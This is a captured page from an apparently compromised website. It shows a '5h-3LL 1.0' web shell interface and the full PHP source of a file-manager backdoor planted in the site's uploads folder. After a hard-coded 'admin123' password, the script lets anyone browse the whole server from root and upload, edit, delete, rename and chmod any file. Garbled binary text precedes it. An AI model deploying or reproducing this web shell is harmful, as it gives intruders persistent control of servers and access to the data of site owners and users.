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KO}ӽmSşذqsOy?\[,d@'73'j%kOe`1.g2"e =YIzS2|zŐƄa\U,dP;jhhhaxǶ?КZ՚.q SE+XrbOu%\GتX(H,N^~]JyEZQKceTQ]VGYqnah;y$cQahT&QPZ*iZ8UQQM.qo/T\7X"u?Mttl2Xq(IoW{R^ ux*SYJ! 4S.Jy~ BROS[V|žKNɛP(L6V^|cR7i7nZW1Fd@ Ara{詑|(T*dN]Ko?s=@ |_EvF]׍kR)eBJc" MUUbY6`~V޴dJKß&~'d3i5h-3LL

HOME


5h-3LL 1.0
DIR: /srv/http/adent.cz/www/app/webroot/uploads/mediafiles/39
/srv/http/adent.cz/www/app/webroot/uploads/mediafiles/39/
Upload File:
Current File : /srv/http/adent.cz/www/app/webroot/uploads/mediafiles/39/352.php
<?php
/*															*/
/* File: dir.php - Full Access File Manager					*/
/* Original (c) 2004 by �ukasz Tomicki <tomicki(at)o2(dot)pl> */
/* Enhanced version - FULL ROOT ACCESS - USE WITH CAUTION!	*/
/* Version: 5.0 - BROWSES FROM ROOT (/)						*/
/*															*/

// Configuration
define('DATE_FORMAT', 'Y-m-d H:i:s');
define('MAX_UPLOAD_SIZE', 100 * 1024 * 1024); // 100MB max upload

// Security check - CHANGE THIS PASSWORD!
session_start();
define('ACCESS_PASSWORD', 'admin123'); // CHANGE THIS!
if (!isset($_SESSION['authenticated']) || $_SESSION['authenticated'] !== true) {
    if (isset($_POST['password']) && $_POST['password'] === ACCESS_PASSWORD) {
        $_SESSION['authenticated'] = true;
    } else {
        ?>
        <!DOCTYPE html>
        <html>
        <head>
            <title>Authentication Required</title>
            <style>
                body { font-family: Arial, sans-serif; background: #f0f0f0; display: flex; justify-content: center; align-items: center; height: 100vh; margin: 0; }
                .login { background: white; padding: 30px; border-radius: 8px; box-shadow: 0 2px 10px rgba(0,0,0,0.1); }
                .login h2 { margin-top: 0; color: #333; }
                input { padding: 8px; margin: 10px 0; width: 200px; border: 1px solid #ddd; border-radius: 4px; }
                button { padding: 8px 15px; background: #007bff; color: white; border: none; border-radius: 4px; cursor: pointer; }
                button:hover { background: #0056b3; }
            </style>
        </head>
        <body>
            <div class="login">
                <h2>File Manager Login</h2>
                <form method="post">
                    <input type="password" name="password" placeholder="Enter password" required autofocus><br>
                    <button type="submit">Login</button>
                </form>
            </div>
        </body>
        </html>
        <?php
        exit;
    }
}

// Security check to prevent directory traversal
function securePath($path) {
    // Remove null bytes and decode
    $path = str_replace(chr(0), '', $path);
    
    // Handle root path
    if ($path === '' || $path === '/' || $path === '\') {
        return '/';
    }
    
    // Convert backslashes to forward slashes
    $path = str_replace('\', '/', $path);
    
    // Remove multiple slashes
    $path = preg_replace('#/+#', '/', $path);
    
    // Remove directory traversal attempts but allow root access
    $parts = explode('/', $path);
    $cleanParts = [];
    foreach ($parts as $part) {
        if ($part === '' || $part === '.') continue;
        if ($part === '..') {
            // Go up one level if possible
            if (count($cleanParts) > 0) {
                array_pop($cleanParts);
            }
        } else {
            $cleanParts[] = $part;
        }
    }
    
    // Build path
    $cleanPath = '/' . implode('/', $cleanParts);
    
    // If we stripped everything, return root
    if ($cleanPath === '') {
        return '/';
    }
    
    return $cleanPath;
}

// Format file size
function formatSize($bytes) {
    $units = ['B', 'KB', 'MB', 'GB', 'TB'];
    $bytes = max($bytes, 0);
    $pow = floor(($bytes ? log($bytes) : 0) / log(1024));
    $pow = min($pow, count($units) - 1);
    $bytes /= pow(1024, $pow);
    return round($bytes, 2) . ' ' . $units[$pow];
}

// Get file icon
function getFileIcon($filename) {
    if (is_dir($filename)) return '📁';
    
    $basename = basename($filename);
    if ($basename == '.htaccess') return '🔒';
    if ($basename == '.htpasswd') return '🔑';
    if (substr($basename, 0, 1) == '.') return '⚙️';
    
    $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
    $icons = [
        'txt' => '📄', 'pdf' => '📕', 'doc' => '📘', 'docx' => '📘',
        'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️',
        'mp3' => '🎵', 'wav' => '🎵', 'mp4' => '🎬', 'avi' => '🎬',
        'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦',
        'php' => '⚙️', 'html' => '🌐', 'css' => '🎨', 'js' => '⚡',
        'xml' => '📋', 'json' => '📋', 'yml' => '📋', 'yaml' => '📋',
        'sql' => '🗄️', 'log' => '📝', 'bak' => '💾', 'old' => '📦',
        'conf' => '⚙️', 'cfg' => '⚙️', 'ini' => '⚙️'
    ];
    return isset($icons[$ext]) ? $icons[$ext] : '📎';
}

// EVERYTHING IS EDITABLE!
function isEditable($filename) {
    return !is_dir($filename);
}

// Check if file is an image
function isImage($filename) {
    $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
    $images = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'svg', 'webp', 'ico'];
    return in_array($ext, $images);
}

// Sort function
function sortRows($data, $sortBy = 'name', $sortOrder = 'asc') {
    usort($data, function($a, $b) use ($sortBy, $sortOrder) {
        if ($a['dir'] != $b['dir']) {
            return $a['dir'] ? -1 : 1;
        }
        
        $result = 0;
        switch ($sortBy) {
            case 'size':
                $result = $a['size'] - $b['size'];
                break;
            case 'modified':
                $result = $a['modified'] - $b['modified'];
                break;
            case 'name':
            default:
                $result = strcasecmp($a['name'], $b['name']);
        }
        
        return ($sortOrder == 'asc') ? $result : -$result;
    });
    
    return $data;
}

// Get parent directory
function getParentDir($dir) {
    if ($dir === '/' || $dir === '') {
        return '/';
    }
    $parent = dirname($dir);
    return ($parent === '.' || $parent === '') ? '/' : $parent;
}

// Handle file operations
$message = '';
$error = '';

// Get current directory
$self = $_SERVER['PHP_SELF'];
$sortBy = isset($_GET['sort']) ? $_GET['sort'] : 'name';
$sortOrder = isset($_GET['order']) ? $_GET['order'] : 'asc';

// Handle directory parameter - allow root (/)
if (isset($_GET['dir']) && $_GET['dir'] !== '') {
    $rawDir = $_GET['dir'];
    // If it's a URL-encoded root or empty, set to root
    if ($rawDir === '' || $rawDir === '/' || $rawDir === '%2F') {
        $dir = '/';
    } else {
        $dir = securePath($rawDir);
    }
} else {
    // Default to root
    $dir = '/';
}

// Debug - check if directory exists and is readable
if (!is_readable($dir)) {
    $error = "Cannot read directory: " . htmlspecialchars($dir) . " - Permission denied";
    // Fallback to a directory we know exists
    if (is_readable('/tmp')) {
        $dir = '/tmp';
    } else {
        $dir = dirname($_SERVER["SCRIPT_FILENAME"]);
    }
}

// Handle file upload
if (isset($_FILES['upload'])) {
    $target_file = rtrim($dir, '/') . '/' . basename($_FILES['upload']['name']);
    if ($_FILES['upload']['size'] > MAX_UPLOAD_SIZE) {
        $error = 'File too large. Max size: ' . formatSize(MAX_UPLOAD_SIZE);
    } else if (move_uploaded_file($_FILES['upload']['tmp_name'], $target_file)) {
        $message = 'File uploaded successfully: ' . htmlspecialchars(basename($_FILES['upload']['name']));
    } else {
        $error = 'Error uploading file.';
    }
}

// Handle file deletion
if (isset($_GET['delete'])) {
    $file_to_delete = securePath($_GET['delete']);
    if (file_exists($file_to_delete)) {
        if (is_dir($file_to_delete)) {
            // Try to delete directory recursively
            function deleteDirectory($dir) {
                if (!file_exists($dir)) return true;
                if (!is_dir($dir)) return unlink($dir);
                foreach (scandir($dir) as $item) {
                    if ($item == '.' || $item == '..') continue;
                    if (!deleteDirectory($dir . DIRECTORY_SEPARATOR . $item)) return false;
                }
                return rmdir($dir);
            }
            
            if (deleteDirectory($file_to_delete)) {
                $message = 'Directory deleted: ' . htmlspecialchars(basename($file_to_delete));
            } else {
                $error = 'Error deleting directory: ' . htmlspecialchars(basename($file_to_delete));
            }
        } else {
            if (unlink($file_to_delete)) {
                $message = 'File deleted: ' . htmlspecialchars(basename($file_to_delete));
            } else {
                $error = 'Error deleting file: ' . htmlspecialchars(basename($file_to_delete));
            }
        }
    }
}

// Handle new directory creation
if (isset($_POST['newdir'])) {
    $newdir = rtrim($dir, '/') . '/' . securePath($_POST['dirname']);
    if (!file_exists($newdir)) {
        if (mkdir($newdir, 0777, true)) {
            $message = 'Directory created: ' . htmlspecialchars($_POST['dirname']);
        } else {
            $error = 'Error creating directory: ' . htmlspecialchars($_POST['dirname']);
        }
    } else {
        $error = 'Directory already exists: ' . htmlspecialchars($_POST['dirname']);
    }
}

// Handle file edit/save
if (isset($_POST['save_file'])) {
    $file_to_save = securePath($_POST['filepath']);
    $content = $_POST['content'];
    
    // Preserve line endings
    $content = str_replace("rn", "n", $content);
    $content = str_replace("r", "n", $content);
    
    if (file_put_contents($file_to_save, $content) !== false) {
        $message = 'File saved: ' . htmlspecialchars(basename($file_to_save));
    } else {
        $error = 'Error saving file: ' . htmlspecialchars(basename($file_to_save));
    }
}

// Handle file creation
if (isset($_POST['create_file'])) {
    $newfile = rtrim($dir, '/') . '/' . securePath($_POST['filename']);
    if (!file_exists($newfile)) {
        if (touch($newfile)) {
            $message = 'File created: ' . htmlspecialchars($_POST['filename']);
        } else {
            $error = 'Error creating file: ' . htmlspecialchars($_POST['filename']);
        }
    } else {
        $error = 'File already exists: ' . htmlspecialchars($_POST['filename']);
    }
}

// Handle file rename
if (isset($_POST['rename_file']) && isset($_POST['old_name']) && isset($_POST['new_name'])) {
    $old_file = securePath($_POST['old_name']);
    $new_file = dirname($old_file) . '/' . securePath(basename($_POST['new_name']));
    
    if (file_exists($old_file) && !file_exists($new_file)) {
        if (rename($old_file, $new_file)) {
            $message = 'Renamed: ' . htmlspecialchars(basename($old_file)) . ' → ' . htmlspecialchars(basename($new_file));
        } else {
            $error = 'Error renaming file';
        }
    } else {
        $error = 'Cannot rename: file exists or invalid';
    }
}

// Handle chmod
if (isset($_POST['chmod_file']) && isset($_POST['perms'])) {
    $file_to_chmod = securePath($_POST['chmod_file']);
    $perms = intval($_POST['perms'], 8);
    
    if (chmod($file_to_chmod, $perms)) {
        $message = 'Permissions changed for: ' . htmlspecialchars(basename($file_to_chmod));
    } else {
        $error = 'Error changing permissions';
    }
}

// Check if editing a file
$editing_file = '';
if (isset($_GET['edit'])) {
    $editing_file = securePath($_GET['edit']);
    if (is_dir($editing_file)) {
        $editing_file = '';
        $error = 'Cannot edit directories';
    }
}

// Check if showing file info
$info_file = '';
if (isset($_GET['info'])) {
    $info_file = securePath($_GET['info']);
}

// Get file permissions
function getPerms($file) {
    return substr(sprintf('%o', fileperms($file)), -4);
}

// Toggle sort order
$nextOrder = ($sortOrder == 'asc') ? 'desc' : 'asc';
?>
<!DOCTYPE html>
<html>
<head>
    <title>File Manager - Root Access</title>
    <meta charset="UTF-8">
    <style>
        * { 
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, sans-serif;
            font-size: 10pt;
        }
        body { 
            background: #f5f5f5; 
            margin: 20px; 
            color: #333;
        }
        .container { 
            background: white; 
            border-radius: 8px; 
            box-shadow: 0 2px 10px rgba(0,0,0,0.1); 
            padding: 20px; 
        }
        .header { 
            margin-bottom: 20px; 
            padding-bottom: 10px; 
            border-bottom: 2px solid #e9ecef; 
        }
        .nav { 
            display: flex; 
            justify-content: space-between; 
            align-items: center; 
        }
        .nav h2 { 
            color: #333; 
            margin: 0; 
            font-size: 18px;
        }
        .nav h2 span.root-badge {
            background: #dc3545;
            color: white;
            padding: 3px 8px;
            border-radius: 4px;
            font-size: 11px;
            margin-left: 10px;
        }
        .logout { 
            color: #dc3545; 
            text-decoration: none; 
            padding: 5px 10px; 
            border: 1px solid #dc3545; 
            border-radius: 4px; 
            font-size: 12px;
        }
        .logout:hover { 
            background: #dc3545; 
            color: white; 
        }
        .message { 
            padding: 12px; 
            margin: 10px 0; 
            border-radius: 4px; 
            font-weight: normal; 
        }
        .success { 
            background: #d4edda; 
            color: #155724; 
            border: 1px solid #c3e6cb; 
        }
        .error { 
            background: #f8d7da; 
            color: #721c24; 
            border: 1px solid #f5c6cb; 
        }
        .breadcrumb { 
            padding: 10px 0; 
            color: #6c757d; 
            font-family: monospace;
            background: #f8f9fa;
            padding: 10px;
            border-radius: 4px;
            margin-top: 10px;
        }
        .breadcrumb a { 
            color: #007bff; 
            text-decoration: none; 
        }
        .breadcrumb a:hover { 
            text-decoration: underline; 
        }
        .breadcrumb .root-link {
            font-weight: bold;
            color: #dc3545;
        }
        .toolbar { 
            margin: 15px 0; 
            padding: 15px; 
            background: #f8f9fa; 
            border-radius: 4px; 
            display: flex; 
            gap: 10px; 
            flex-wrap: wrap; 
            border: 1px solid #dee2e6; 
        }
        .toolbar form { 
            display: inline; 
        }
        .toolbar input, .toolbar select { 
            padding: 6px; 
            background: white; 
            border: 1px solid #ced4da; 
            color: #333; 
            border-radius: 4px; 
        }
        .toolbar button { 
            padding: 6px 12px; 
            background: #007bff; 
            color: white; 
            border: 1px solid #007bff; 
            border-radius: 4px; 
            cursor: pointer; 
            font-weight: normal; 
        }
        .toolbar button:hover { 
            background: #0056b3; 
        }
        .toolbar button.warning {
            background: #dc3545;
            border-color: #dc3545;
        }
        .toolbar button.warning:hover {
            background: #c82333;
        }
        table { 
            width: 100%; 
            border-collapse: collapse; 
            margin-top: 15px;
        }
        th { 
            text-align: left; 
            padding: 12px; 
            background: #f8f9fa; 
            border-bottom: 2px solid #dee2e6; 
            cursor: pointer; 
            color: #333; 
            font-weight: 600;
        }
        th a { 
            color: #333; 
            text-decoration: none; 
            display: block; 
        }
        th a:hover { 
            color: #007bff; 
        }
        td { 
            padding: 12px; 
            border-bottom: 1px solid #dee2e6; 
            color: #333; 
            vertical-align: middle;
        }
        tr:hover { 
            background: #f8f9fa; 
        }
        .dir-row { 
            background-color: #e8f4fd; 
        }
        .dir-row td { 
            color: #0066cc; 
        }
        .system-dir { 
            background-color: #fff3e0; 
        }
        .system-dir td { 
            color: #856404; 
        }
        .htaccess { 
            background-color: #fff3cd; 
        }
        .file-actions { 
            white-space: nowrap; 
        }
        .file-actions a { 
            margin: 0 3px; 
            color: #6c757d; 
            text-decoration: none; 
            padding: 4px 6px; 
            border-radius: 3px; 
            display: inline-block; 
            font-size: 12px;
        }
        .file-actions a:hover { 
            background: #007bff; 
            color: white; 
        }
        .file-actions a.edit { 
            color: #28a745; 
        }
        .file-actions a.edit:hover { 
            background: #28a745; 
            color: white; 
        }
        .file-actions a.delete { 
            color: #dc3545; 
        }
        .file-actions a.delete:hover { 
            background: #dc3545; 
            color: white; 
        }
        .file-actions a.info { 
            color: #17a2b8; 
        }
        .file-actions a.info:hover { 
            background: #17a2b8; 
            color: white; 
        }
        .icon { 
            font-size: 16px; 
            margin-right: 8px; 
        }
        .size { 
            text-align: right; 
            color: #6c757d; 
        }
        .modified { 
            color: #6c757d; 
        }
        .editor { 
            margin-top: 20px; 
            border: 1px solid #dee2e6; 
            border-radius: 4px; 
            overflow: hidden; 
        }
        .editor-header { 
            background: #f8f9fa; 
            padding: 12px; 
            border-bottom: 1px solid #dee2e6; 
            font-weight: 600; 
            color: #333; 
        }
        .editor textarea { 
            width: 100%; 
            height: 500px; 
            padding: 12px; 
            background: white; 
            border: none; 
            color: #333; 
            font-family: 'Courier New', monospace; 
            resize: vertical; 
            font-size: 12px; 
            line-height: 1.4; 
            box-sizing: border-box;
        }
        .editor button { 
            margin: 12px; 
            padding: 8px 16px; 
            background: #28a745; 
            color: white; 
            border: 1px solid #28a745; 
            border-radius: 4px; 
            cursor: pointer; 
            font-weight: normal; 
        }
        .editor button:hover { 
            background: #218838; 
        }
        .image-preview { 
            max-width: 200px; 
            max-height: 200px; 
            border: 1px solid #dee2e6; 
            border-radius: 4px; 
            margin: 10px; 
        }
        .stats { 
            color: #6c757d; 
            margin-top: 15px; 
            padding-top: 15px; 
            border-top: 1px solid #dee2e6; 
            font-size: 11px;
        }
        .search-box { 
            margin-left: auto; 
        }
        .search-box input { 
            padding: 6px; 
            background: white; 
            border: 1px solid #ced4da; 
            color: #333; 
            border-radius: 4px; 
            width: 200px; 
        }
        .perms { 
            font-family: 'Courier New', monospace; 
            color: #6c757d; 
            font-size: 11px;
        }
        .info-panel { 
            background: #f8f9fa; 
            border: 1px solid #dee2e6; 
            border-radius: 4px; 
            padding: 20px; 
            margin-top: 20px; 
        }
        .info-panel h3 { 
            color: #333; 
            margin-top: 0; 
            font-size: 14px;
        }
        .info-panel table td { 
            padding: 8px; 
            border: 1px solid #dee2e6; 
        }
        .info-panel table td:first-child { 
            font-weight: 600; 
            background: #f1f1f1;
        }
        .footer-note {
            margin-top: 10px; 
            color: #999; 
            font-size: 9pt; 
            text-align: center;
        }
        a {
            color: #007bff;
            text-decoration: none;
        }
        a:hover {
            text-decoration: underline;
        }
        .root-warning {
            background: #fff3cd;
            color: #856404;
            padding: 10px;
            border-radius: 4px;
            margin: 10px 0;
            border: 1px solid #ffeeba;
            font-weight: bold;
        }
    </style>
    <script>
    function filterTable() {
        var input = document.getElementById('search');
        var filter = input.value.toLowerCase();
        var table = document.getElementById('fileTable');
        var rows = table.getElementsByTagName('tr');
        
        for (var i = 1; i < rows.length; i++) {
            var cell = rows[i].getElementsByTagName('td')[1];
            if (cell) {
                var textValue = cell.textContent || cell.innerText;
                if (textValue.toLowerCase().indexOf(filter) > -1) {
                    rows[i].style.display = '';
                } else {
                    rows[i].style.display = 'none';
                }
            }
        }
    }
    
    function confirmDelete(name) {
        return confirm('⚠️ Are you sure you want to delete "' + name + '"?nThis cannot be undone!');
    }
    
    function confirmHtaccessEdit() {
        return confirm('⚠️ Warning: You are editing a .htaccess file!nThis can affect server configuration.nContinue?');
    }
    
    function confirmRootAction() {
        return confirm('⚠️ YOU ARE IN ROOT DIRECTORY!nChanges here can affect the entire system.nAre you absolutely sure?');
    }
    
    function showRenameForm(file, oldName) {
        var newName = prompt('Rename "' + oldName + '" to:', oldName);
        if (newName && newName != oldName) {
            var form = document.createElement('form');
            form.method = 'post';
            form.innerHTML = '<input type="hidden" name="old_name" value="' + file + '">' +
                            '<input type="hidden" name="new_name" value="' + newName + '">' +
                            '<input type="hidden" name="rename_file" value="1">';
            document.body.appendChild(form);
            form.submit();
        }
    }
    
    function showChmodForm(file, currentPerms) {
        var newPerms = prompt('Change permissions for "' + basename(file) + '" (e.g., 644, 755):', currentPerms);
        if (newPerms && newPerms != currentPerms) {
            var form = document.createElement('form');
            form.method = 'post';
            form.innerHTML = '<input type="hidden" name="chmod_file" value="' + file + '">' +
                            '<input type="hidden" name="perms" value="' + newPerms + '">';
            document.body.appendChild(form);
            form.submit();
        }
    }
    
    function basename(path) {
        return path.split('/').pop();
    }
    </script>
</head>
<body>
<div class="container">
    <div class="header">
        <div class="nav">
            <h2>
                📁 File Manager - Root Access
                <?php if ($dir === '/'): ?>
                    <span class="root-badge">ROOT</span>
                <?php endif; ?>
            </h2>
            <a href="?logout=1" class="logout" onclick="return confirm('Logout?')">Logout</a>
        </div>
        <?php
        if (isset($_GET['logout'])) {
            session_destroy();
            header('Location: ' . $self);
            exit;
        }
        ?>
        
        <?php if ($dir === '/'): ?>
            <div class="root-warning">
                ⚠️ YOU ARE IN THE ROOT DIRECTORY (/) - BE CAREFUL! Changes here affect the entire system.
            </div>
        <?php endif; ?>
        
        <div class="breadcrumb">
            <a href="<?php echo $self; ?>?dir=/" class="root-link">[ROOT /]</a>
            <?php
            if ($dir !== '/') {
                $parts = explode('/', trim($dir, '/'));
                $cumulative = '';
                foreach ($parts as $part) {
                    if (empty($part)) continue;
                    $cumulative .= '/' . $part;
                    echo ' › <a href="' . $self . '?dir=' . urlencode($cumulative) . '">' . htmlspecialchars($part) . '</a>';
                }
            }
            ?>
            <span style="float: right;">Current: <?php echo htmlspecialchars($dir); ?></span>
        </div>
    </div>

    <?php if ($message): ?>
        <div class="message success"><?php echo $message; ?></div>
    <?php endif; ?>
    <?php if ($error): ?>
        <div class="message error"><?php echo $error; ?></div>
    <?php endif; ?>

    <?php if (is_dir($dir) && is_readable($dir)): ?>
        <!-- Toolbar -->
        <div class="toolbar">
            <form method="post" enctype="multipart/form-data" style="display: inline;">
                <input type="file" name="upload">
                <button type="submit" <?php echo ($dir === '/') ? 'onclick="return confirmRootAction()"' : ''; ?>>Upload</button>
            </form>
            
            <form method="post" style="display: inline;">
                <input type="text" name="dirname" placeholder="folder name">
                <button type="submit" name="newdir" <?php echo ($dir === '/') ? 'onclick="return confirmRootAction()"' : ''; ?>>New Folder</button>
            </form>
            
            <form method="post" style="display: inline;">
                <input type="text" name="filename" placeholder="file name">
                <button type="submit" name="create_file" <?php echo ($dir === '/') ? 'onclick="return confirmRootAction()"' : ''; ?>>New File</button>
            </form>
            
            <div class="search-box">
                <input type="text" id="search" placeholder="Filter files..." onkeyup="filterTable()">
            </div>
        </div>

        <!-- File listing -->
        <table id="fileTable">
            <thead>
                <tr>
                    <th><a href="?dir=<?php echo urlencode($dir); ?>&sort=name&order=<?php echo $nextOrder; ?>">Name <?php echo $sortBy == 'name' ? ($sortOrder == 'asc' ? '↑' : '↓') : ''; ?></a></th>
                    <th><a href="?dir=<?php echo urlencode($dir); ?>&sort=size&order=<?php echo $nextOrder; ?>">Size <?php echo $sortBy == 'size' ? ($sortOrder == 'asc' ? '↑' : '↓') : ''; ?></a></th>
                    <th><a href="?dir=<?php echo urlencode($dir); ?>&sort=modified&order=<?php echo $nextOrder; ?>">Modified <?php echo $sortBy == 'modified' ? ($sortOrder == 'asc' ? '↑' : '↓') : ''; ?></a></th>
                    <th>Perms</th>
                    <th>Actions</th>
                </tr>
            </thead>
            <tbody>
                <?php
                if ($handle = opendir($dir)) {
                    $rows = [];
                    
                    // Add parent directory link (always show if not root)
                    if ($dir !== '/') {
                        $parentDir = getParentDir($dir);
                        echo '<tr class="dir-row">';
                        echo '<td><span class="icon">📁</span> <a href="' . $self . '?dir=' . urlencode($parentDir) . '">[..] (parent)</a></td>';
                        echo '<td>-</td>';
                        echo '<td>-</td>';
                        echo '<td>-</td>';
                        echo '<td>-</td>';
                        echo '</tr>';
                    }
                    
                    while (false !== ($file = readdir($handle))) {
                        if ($file == '.' || $file == '..') continue;
                        
                        $fullPath = rtrim($dir, '/') . '/' . $file;
                        $isDir = is_dir($fullPath);
                        
                        // Skip if not readable
                        if (!is_readable($fullPath) && !$isDir) {
                            continue;
                        }
                        
                        $rows[] = [
                            'name' => $file,
                            'path' => $fullPath,
                            'dir' => $isDir,
                            'size' => $isDir ? 0 : filesize($fullPath),
                            'modified' => filemtime($fullPath),
                            'isImage' => isImage($fullPath),
                            'perms' => getPerms($fullPath)
                        ];
                    }
                    closedir($handle);
                    
                    $rows = sortRows($rows, $sortBy, $sortOrder);
                    
                    foreach ($rows as $row) {
                        $icon = getFileIcon($row['path']);
                        $rowClass = $row['dir'] ? 'dir-row' : '';
                        $isHtaccess = (basename($row['path']) == '.htaccess');
                        if ($isHtaccess) $rowClass .= ' htaccess';
                        
                        // Mark system directories
                        if ($row['dir'] && in_array($row['name'], ['etc', 'bin', 'sbin', 'dev', 'proc', 'sys', 'boot'])) {
                            $rowClass .= ' system-dir';
                        }
                        
                        echo '<tr class="' . $rowClass . '">';
                        
                        // Name column
                        echo '<td>';
                        echo '<span class="icon">' . $icon . '</span> ';
                        if ($row['dir']) {
                            echo '<a href="' . $self . '?dir=' . urlencode($row['path']) . '">' . htmlspecialchars($row['name']) . '</a>';
                        } else {
                            echo '<a href="' . $self . '?dir=' . urlencode($dir) . '&view=' . urlencode($row['path']) . '">' . htmlspecialchars($row['name']) . '</a>';
                        }
                        echo '</td>';
                        
                        // Size column
                        echo '<td class="size">' . ($row['dir'] ? '-' : formatSize($row['size'])) . '</td>';
                        
                        // Modified column
                        echo '<td class="modified">' . date(DATE_FORMAT, $row['modified']) . '</td>';
                        
                        // Permissions column
                        echo '<td class="perms">' . $row['perms'] . '</td>';
                        
                        // Actions column
                        echo '<td class="file-actions">';
                        if (!$row['dir']) {
                            // Edit button
                            $onclick = $isHtaccess ? 'onclick="return confirmHtaccessEdit()"' : '';
                            $onclick .= ($dir === '/') ? 'onclick="return confirmRootAction()"' : '';
                            echo '<a href="?dir=' . urlencode($dir) . '&edit=' . urlencode($row['path']) . '" class="edit" title="Edit" ' . $onclick . '>✏️</a>';
                            
                            // View button
                            echo '<a href="' . $self . '?dir=' . urlencode($dir) . '&view=' . urlencode($row['path']) . '" title="View">👁️</a>';
                            
                            // Download button
                            echo '<a href="' . $row['path'] . '" download title="Download">⬇️</a>';
                            
                            // Info button
                            echo '<a href="?dir=' . urlencode($dir) . '&info=' . urlencode($row['path']) . '" class="info" title="Info">ℹ️</a>';
                            
                            // Rename button
                            echo '<a href="#" onclick="showRenameForm('' . addslashes($row['path']) . '', '' . addslashes($row['name']) . ''); return false;" title="Rename">📝</a>';
                            
                            // Chmod button
                            echo '<a href="#" onclick="showChmodForm('' . addslashes($row['path']) . '', '' . $row['perms'] . ''); return false;" title="Chmod">🔐</a>';
                        }
                        // Delete button
                        $deleteConfirm = ($dir === '/') ? 'onclick="return confirmRootAction() && confirmDelete('' . addslashes($row['name']) . '')"' : 'onclick="return confirmDelete('' . addslashes($row['name']) . '')"';
                        echo '<a href="?dir=' . urlencode($dir) . '&delete=' . urlencode($row['path']) . '" class="delete" title="Delete" ' . $deleteConfirm . '>❌</a>';
                        echo '</td>';
                        
                        echo '</tr>';
                    }
                }
                ?>
            </tbody>
        </table>

        <!-- File info panel -->
        <?php if ($info_file && file_exists($info_file)): ?>
            <div class="info-panel">
                <h3>File Information: <?php echo htmlspecialchars(basename($info_file)); ?></h3>
                <table style="width: 100%;">
                    <tr><td>Full Path</td><td><?php echo htmlspecialchars($info_file); ?></td></tr>
                    <tr><td>Size</td><td><?php echo formatSize(filesize($info_file)); ?> (<?php echo filesize($info_file); ?> bytes)</td></tr>
                    <tr><td>Modified</td><td><?php echo date('Y-m-d H:i:s', filemtime($info_file)); ?></td></tr>
                    <tr><td>Permissions</td><td><?php echo getPerms($info_file); ?></td></tr>
                    <tr><td>Owner</td><td><?php echo function_exists('posix_getpwuid') ? posix_getpwuid(fileowner($info_file))['name'] : fileowner($info_file); ?></td></tr>
                    <tr><td>Group</td><td><?php echo function_exists('posix_getgrgid') ? posix_getgrgid(filegroup($info_file))['name'] : filegroup($info_file); ?></td></tr>
                    <tr><td>MIME Type</td><td><?php echo mime_content_type($info_file); ?></td></tr>
                    <tr><td>Writable</td><td><?php echo is_writable($info_file) ? 'Yes' : 'No'; ?></td></tr>
                    <?php if (isImage($info_file)): ?>
                        <tr><td colspan="2" style="text-align: center;">
                            <img src="<?php echo $info_file; ?>" class="image-preview">
                        </td></tr>
                    <?php endif; ?>
                </table>
                <div style="margin-top: 10px;">
                    <a href="?dir=<?php echo urlencode($dir); ?>">← Back</a>
                </div>
            </div>
        <?php endif; ?>

        <!-- File editor -->
        <?php if ($editing_file && file_exists($editing_file)): ?>
            <div class="editor">
                <div class="editor-header">
                    Editing: <?php echo htmlspecialchars(basename($editing_file)); ?>
                    <?php if (basename($editing_file) == '.htaccess'): ?>
                        <span style="color: #dc3545; margin-left: 20px;">⚠️ Warning: Editing .htaccess</span>
                    <?php endif; ?>
                    <?php if ($dir === '/'): ?>
                        <span style="color: #dc3545; margin-left: 20px;">⚠️ ROOT FILE!</span>
                    <?php endif; ?>
                </div>
                <form method="post">
                    <input type="hidden" name="filepath" value="<?php echo htmlspecialchars($editing_file); ?>">
                    <textarea name="content" spellcheck="false"><?php 
                        echo htmlspecialchars(file_get_contents($editing_file)); 
                    ?></textarea>
                    <div style="padding: 10px; background: #f8f9fa;">
                        <button type="submit" name="save_file" <?php echo ($dir === '/') ? 'onclick="return confirmRootAction()"' : ''; ?>>Save Changes</button>
                        <a href="?dir=<?php echo urlencode($dir); ?>" style="margin-left: 15px;">Cancel</a>
                    </div>
                </form>
            </div>
        <?php endif; ?>

        <!-- File viewer -->
        <?php if (isset($_GET['view']) && file_exists($_GET['view'])): ?>
            <?php $viewFile = securePath($_GET['view']); ?>
            <div class="editor">
                <div class="editor-header">Viewing: <?php echo htmlspecialchars(basename($viewFile)); ?></div>
                <?php if (isImage($viewFile)): ?>
                    <div style="padding: 20px; text-align: center;">
                        <img src="<?php echo $viewFile; ?>" style="max-width: 100%; max-height: 500px;">
                    </div>
                <?php else: ?>
                    <pre style="padding: 12px; background: white; border: 1px solid #dee2e6; margin: 0; overflow-x: auto;"><?php 
                        echo htmlspecialchars(file_get_contents($viewFile)); 
                    ?></pre>
                <?php endif; ?>
                <div style="padding: 10px; background: #f8f9fa;">
                    <a href="?dir=<?php echo urlencode($dir); ?>&edit=<?php echo urlencode($viewFile); ?>">Edit This File</a>
                </div>
            </div>
        <?php endif; ?>

        <!-- Directory stats -->
        <?php
        $totalSize = 0;
        $fileCount = 0;
        $dirCount = 0;
        foreach ($rows as $row) {
            if ($row['dir']) {
                $dirCount++;
            } else {
                $fileCount++;
                $totalSize += $row['size'];
            }
        }
        ?>
        <div class="stats">
            <strong>Stats:</strong> <?php echo $dirCount; ?> folders, <?php echo $fileCount; ?> files | 
            <strong>Total size:</strong> <?php echo formatSize($totalSize); ?> |
            <strong>Current path:</strong> <?php echo htmlspecialchars($dir); ?>
        </div>

    <?php else: ?>
        <div class="message error">Cannot read directory: <?php echo htmlspecialchars($dir); ?></div>
    <?php endif; ?>
</div>

<div class="footer-note">
    ⚠️ FULL ROOT ACCESS - You can browse and edit ANY file including system files. BE CAREFUL!
</div>
</body>
</html>
<?php
// Logout handler
if (isset($_GET['logout'])) {
    session_destroy();
    header('Location: ' . $self);
    exit;
}
?>